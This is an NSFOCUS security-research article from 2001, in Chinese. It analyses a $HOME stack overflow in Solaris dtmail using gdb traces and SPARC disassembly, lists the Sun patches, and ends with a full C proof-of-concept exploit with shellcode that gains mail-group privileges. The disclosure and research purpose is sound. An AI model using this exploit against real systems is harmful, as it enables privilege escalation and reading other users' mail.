首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第23期->技术专题
作者:warning3 < mailto: warning3@nsfocus.com >
主页:http://www.nsfocus.com
日期:2001-07-17
dtmail是Solaris CDE所带的一个邮件客户端工具。它缺省设置了setgid mail属性。
我发现它在处理$HOME环境变量时存在一个缓冲区溢出漏洞,攻击者可能利用它来获
取mail组权限。获取mail组权限有什么用?至少可以偷看别人的邮件。:)
如果将HOME变量设置为一个较长的字符串(超过372字节),那么一个堆栈中的缓冲区将
会溢出。攻击者可以覆盖相邻缓冲区的某些数据,如果小心的构造一个数据结构,可能
使程序调用一个攻击者指定的函数指针,从而攻击者可以以mail组权限执行任意代码。
测试方法:
$ export DISPLAY=<Xserver>:0.0
$ export HOME=`perl -e 'print "A"x372'`BBBB
$ /usr/dt/bin/dtmail
Bus Error
这里的Xserver是一个Xwindow server的ip.
用gdb跟踪一下:
(gdb)
#0 0xef73c238 in __0fISdmErrorG_Resetv () from /usr/dt/lib/libSDtMail.so.2
#1 0xef73bff0 in __0oISdmErrordtv () from /usr/dt/lib/libSDtMail.so.2
#2 0x96968 in __0fLVacationCmdMvacationIsOnv ()
#3 0x9b354 in __0fORoamMenuWindowOcreateWorkAreaP6K_WidgetRec ()
#4 0xc8e80 in __0fKMainWindowKinitializeiPPc ()
#5 0xcba08 in __0fKMenuWindowKinitializeiPPc ()
#6 0x9a828 in __0fORoamMenuWindowKinitializeiPPc ()
#7 0x88930 in __0fHRoamAppKinitializePiPPc ()
#8 0xc8ac8 in main ()
[ 看看程序停在哪里了 ]
(gdb) x/10i $pc
0xef73c238 <__0fISdmErrorG_Resetv+36>: ld [ %o0 + %i1 ], %o2
0xef73c23c <__0fISdmErrorG_Resetv+40>: cmp %o2, 0
0xef73c240 <__0fISdmErrorG_Resetv+44>: be 0xef73c268 <__0fISdmErrorG_Resetv+84>
0xef73c244 <__0fISdmErrorG_Resetv+48>: add %i1, 4, %i1
0xef73c248 <__0fISdmErrorG_Resetv+52>: ld [ %o2 + 0x10 ], %o1
0xef73c24c <__0fISdmErrorG_Resetv+56>: ldsh [ %o1 + 8 ], %o0
0xef73c250 <__0fISdmErrorG_Resetv+60>: add %o2, %o0, %o0
0xef73c254 <__0fISdmErrorG_Resetv+64>: ld [ %o1 + 0xc ], %o2
0xef73c258 <__0fISdmErrorG_Resetv+68>: call %o2
0xef73c25c <__0fISdmErrorG_Resetv+72>: mov 3, %o1
(gdb) i r $o0 $i1
o0 0x42424242 1111638594
i1 0x0 0
这个 %o0中的值就是我们提供的'BBBB',也就是说我们可以控制%o0.那么我们继续看看我
们能利用%o0作些什么。
<__0fISdmErrorG_Resetv+40> : 如果[%o0 + %i1]处保存的内容(%o2)不是零
<__0fISdmErrorG_Resetv+52> : 将[%o2 + 0x10]处的内容取出放到%o1中
<__0fISdmErrorG_Resetv+64> : 将[%o1 + 0xc] 处的内容取出放到%o2中
<__0fISdmErrorG_Resetv+68> : 调用%o2! 呵呵,这一串操作的基础就是%o0,既然我们
可以控制它,只要我们能够安排好,就可以让函数call
任意我们指定的地址!
$i0是当前的缓冲区地址:
(gdb) x/8x $i0
0xefffefd4: 0x41414141 0x41414141 0x42424242 0x2f2e666f
0xefffefe4: 0xef797884 0x0012f6c8 0x00000001 0x00002800
我们看到0x42424242在%i0 + 8处。那么我们所覆盖的那个缓冲区地址就应该在:
%i0 + 8 - 372处:
(gdb) x/8x $i0+8-372
0xefffee68: 0x41414141 0x41414141 0x41414141 0x41414141
0xefffee78: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/8x $i0+8-372-4
0xefffee64: 0xef7efe64 0x41414141 0x41414141 0x41414141
0xefffee74: 0x41414141 0x41414141 0x41414141 0x41414141
果然,我们可以看到前面372字节处是我们溢出字符串的开始。
因此,我们的溢出模板格式为:
+------+----+----------+
|A....A|addr|0x12345678|
+------+----+----------+
372B 4B 4B
那么溢出后%o0的值就会是addr。下面我们要做的就是要在addr这个地址开始的内存区构
造一个结构,让接下来的操作可以正常进行。
我们只需要在堆栈中构造如下的一个结构,假设该结构的起始地址为addr,
那么,可以按照下列格式填充这个结构:
+--+ +--+
| V | V
+----+------+----+---------+----+-----------+
| 4B | 12B | 4B | 12B | 4B | shellcode |
+----+------+----+---------+----+-----------+
^ ^ ^
| | |
addr addr + 20 addr + 36
我们只需要在堆栈中构造如下的一个结构,假设该结构的起始地址为addr,
那么,可以按照下列格式填充这个结构:
[ addr + 0 ] <== addr
[ addr + 16 ] <== addr + 20
[ addr + 32 ] <== addr + 36
[ addr + 36 ] 后面是我们的shellcode
既然%o0 = addr, 如果%i0 = 0,那么
ld [ %o0 + %i1 ], %o2 ===> %o2 = addr
ld [ %o2 + 0x10 ], %o1 ===> %o1 = (addr + 16)处的内容 = addr + 20
ld [ %o1 + 0xc ], %o2 ===> %o2 = (addr + 20 + 12)处的内容 = addr +36
call %o2 ===> call addr + 36 ,这里刚好是我们的shellcode.
现在唯一的问题就是如何确定addr的值,也就是说如何将上面的结构准确的放在addr
处。我们可以考虑将这个伪造的结构放在环境变量中,通过调节,我们可以非常准确地
在SPARC平台下得到这个结构的起始地址addr,具体做法可以看测试程序中的
get_shelladdr()函数。
有人也许会问为什么不按通常的堆栈溢出方式来实现呢?这是因为这块操作是在函数返回
之前的,很难跳过。
这个问题我在BugTraq上搜索了一下,并没有找到有人报告这个问题。但是Sun最新的补丁
已经偷偷地修复了这个问题。
这个问题只影响Solaris 7和2.6。Solaris 8似乎不受影响。
下面是Sun有关dtmail的最新补丁。
SunOS 5.7 SPARC : 107200-12
SunOS 5.7 x86 : 107201-12
SunOS 5.6 SPARC : 105338-27
SunOS 5.6 x86 : 105339-25
测试程序:
/*
* sol_sparc_dtmail_HOME_ex.c - Proof of Concept Code for dtmail $HOME stack
* overflow bug.
*
* Found and exploited by warning3.
*
* It will run "/bin/id" if the exploit succeed.
* Tested in Solaris 2.6/7 (SPARC).
*
* DISCLAIMS:
* This is a proof of concept code. This code is for test purpose
* only and should not be run against any host without permission from
* the system administrator.
*
* warning3 <warning3@nsfocus.com>
* http://www.nsfocus.com
* 2001.6.11
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/systeminfo.h>
#define SP 0xffbefffc /* default bottom stack address (Solaris 7/8) */
#define DISPENV "DISPLAY=127.0.0.1:0.0"
#define VULPROG "/usr/dt/bin/dtmail"
#define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */
char shellcode[] =
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x90\x02\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\x59\x90\x0b\x80\x0e"
"\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14\xec\x3b\xbf\xec"
"\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
/* get current stack point address */
long
get_sp(void)
{
__asm__("mov %sp,%i0");
}
long
get_shelladdr(long sp_addr, char **arg, char **env)
{
long retaddr;
int i;
char plat[256];
char pad = 0, pad1;
int env_len, arg_len, len;
/* calculate the length of "VULPROG" + argv[] */
for (i = 0, arg_len = 0; arg[i] != NULL; i++) {
arg_len += strlen(arg[i]) + 1;
}
/* calculate the pad nummber . */
pad = 3 - arg_len % 4;
memset(env[0], 'A', pad);
env[0][pad] = '\0';
/* get environ length */
for (i = 0, env_len = 0; env[i] != NULL; i++) {
env_len += strlen(env[i]) + 1;
}
/* get platform info */
sysinfo(SI_PLATFORM, plat, 256);
len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1;
pad1 = len % 4;
if (pad1 == 3) pad1 = 5;
else pad1 = 4 - pad1;
/* get the exact shellcode address */
retaddr = sp_addr - pad1/* the trailing zero number */
- strlen(VULPROG) - 1
- strlen(plat) - 1;
for (i--; i > 0; i--)
retaddr -= strlen(env[i]) + 1;
printf("Shellcode address is at 0x%x\n", retaddr);
return retaddr;
} /* End of get_shelladdr */
int
main(int argc, char **argv)
{
char buf[2048], fake_chunk[8], display[256];
long retaddr, sp_addr = SP;
char *arg[24], *env[24];
char padding[64];
unsigned int *ptr;
char *disp;
char ev1[] = "HOME=";
long ev1_len;
long overbuflen = 372;
if (argc > 1)
snprintf(display, sizeof(display) - 1, "DISPLAY=%s", argv[1]);
else {
disp = getenv("DISPLAY");
if (disp)
snprintf(display, sizeof(display) - 1, "DISPLAY=%s", disp);
else
strncpy(display, DISPENV, sizeof(display) - 1);
}
arg[0] = VULPROG;
arg[1] = NULL;
ev1_len = strlen(ev1);
bzero(buf, 2048);
memcpy(buf, ev1, ev1_len);
memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));
env[0] = padding; /* put padding buffer in env */
env[1] = shellcode; /* put shellcode in env */
env[2] = buf; /* put overflow environ */
env[3] = display; /* put display environ */
env[4] = NULL; /* end of env */
/* get stack bottom address */
if (((unsigned char) (get_sp() >> 24)) == 0xef) { /* Solaris 2.6 */
sp_addr = SP - 0x0fbf0000;
}
retaddr = get_shelladdr(sp_addr, arg, env);
ptr = (unsigned int *) fake_chunk;
*ptr++ = retaddr;
*ptr++ = 0x12345678;
ptr = (unsigned int *) &shellcode;
*ptr = retaddr;
*(ptr + 4) = retaddr + 20;
*(ptr + 8) = retaddr + 36;
memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));
execve(VULPROG, arg, env);
perror("execle");
} /* End of main */
<完>
版权所有,未经许可,不得转载